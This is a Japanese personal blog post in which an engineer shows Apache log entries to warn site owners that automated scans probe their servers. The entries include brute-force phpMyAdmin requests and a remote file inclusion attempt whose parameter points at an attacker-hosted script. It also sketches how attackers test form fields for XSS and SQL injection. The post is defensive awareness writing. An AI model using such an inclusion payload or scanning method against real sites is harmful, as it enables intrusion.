あなたのWebサイトは意外と狙われている | A Day In The Boy's Life

A Day In The Boy's Life

とあるエンジニアのとある1日のつぶやき。

IT系の専門サイトを見てると、ちょくちょくセキュリティ関連の記事を目にしますが、多くの人は他人事として片付けているのではないでしょうか。

確かに多くの場合は、他人事です。

ただ、これは毎日TVをつけると交通事故のニュースをやっているのに、事故にあった人が実際に身近にいるかというと、早々いないのと同じです。


しかし、実際に事故は起きて(起きようとして)います。

それを確認したければ、自サイトのログを見てみるとよくわかります。


GET /phpMyAdmin-2.3.7-pl1/main.phpmain.php HTTP/1.0 with response code(s) 404 1 responses
GET /phpMyAdmin-2.5.0/main.phpmain.php HTTP/1.0 with response code(s) 404 1 responses
GET /phpMyAdmin-2.3.5-pl2/main.phpmain.php HTTP/1.0 with response code(s) 404 1 responses
GET /phpMyAdmin-2.4.2-rc2/main.phpmain.php HTTP/1.0 with response code(s) 404 1 responses
GET /phpMyAdmin-2.4.7-pl1/main.phpmain.php HTTP/1.0 with response code(s) 404 1 responses
GET /phpMyAdmin-2.5.2-rc1/main.phpmain.php HTTP/1.0 with response code(s) 404 1 responses 


例えば、これはApacheのログをLogwatchを使って集約させた結果ですが、phpMyAdminへのアクセスと、それが存在しなかったHTTPステータスコード(404)が出力されています。


※ Logwatchに関しては「Logwatchでサーバー上のログを集約する 」参照


しかし、このサイト上ではphpMyAdminは動かしていません。

見ると異なるバージョンのログが出ていますが、このように何らかのバージョンのphpMyAdminがこのサイト上で動作していないか総当りで調べようとしています。


これを行ったプログラム(恐らく)の作者が具体的に何を仕掛けようとしているのかは、分かりませんが少なくとも


・ phpMyAdminの脆弱性をつこうとしている

・ phpMyAdminはMySQLの管理ツールなので、MySQLの脆弱性をつこうとしている


の2つは読み取れます。
なので、このサイト上でphpMyAdminを動かしていた場合、次のアタックを受けてたことになるかと思います。


別のログではこのようなものも出ていました。


GET /report/webcreator.html//mods/config/load.inc.php?moddir=http://www.xxxx.com/Fungky/id2.txt? HTTP/1.1 with response code(s) 404 1 responses

これは、webcreatorというソフトウェアの脆弱性をつこうとしたアクセスの形跡のようです。

調べてみると、下記のように脆弱性がある事がわかります。


http://xforce.iss.net/xforce/xfdb/32972



その他にも特定のプログラム名を総当りで調べている形跡も見受けられることが多いと思います。


GET /version.php HTTP/1.1 with response code(s) 404 1 responses

ありがちなプログラム名ですが、調べてみるとpukiwiki に含まれていたりもします。

また、よく付ける名前なのでphpinfo 関数でPHPの詳細情報を出力するようなプログラムがサーバー内に残っていないかを調査するためのものかもしれません。

そこで得られた情報を元に、新たなアタックを仕掛ける事も可能です。(PHPのセキュリティ上のバグをつくような攻撃とか)


結局のところLinuxであろうがWindowsであろうが、そこでどんなソフトウェアを使っていようが、悪意あるものにとってはあまり関係がありません。

自分のおめがねにかなったサーバーが見つかるまで繰り返します。


また、特定のサイトに絞ってそこで動くアプリの脆弱性も簡単に調べ上げる事もできます。

Webサイトを構築した際によく言われるのが、クロスサイトスクリプティング(XSS) や、SQLインジェクション の問題です。

これらは、アプリ内でやり取りしているフォームデータに対して適切なチェックや変換が行われていないと発生する可能性がありますが、全てのフォームデータが適切に処理されているかどうかも、総当りで調べる事ができます。

例えば、あるアプリの正常系の処理をとりあえず行ってみて、そこでやり取りされているフォームデータをリストアップし(フォームのデータはクライアントのPCから送られることになるので、どんなデータが送られているかは簡単に調べられます)、それぞれのフォームデータに対して適切な処理が行われているかをチェックするような事で調べる事が可能です。


悪意あるものから見ればネットは宝の山です。

別に狙ったWebサイトに宝が無くてもかまいません。最終的に宝にありつければいいわけです。

そのために、あなたのWebサイトはその踏み台にされるかもしれません。

そうなると、「いや。クラッキングされたんだ」といったところで、それはそのWebサイトの運用管理がなっちゃいないと一蹴されるだけです。


ロールプレイングゲームをしていて、洞窟に入り宝箱を見つけたらどうするでしょうか?

まずは、開けてみると思います。

悪意ある側から見れば、ただそれだけの行為になります。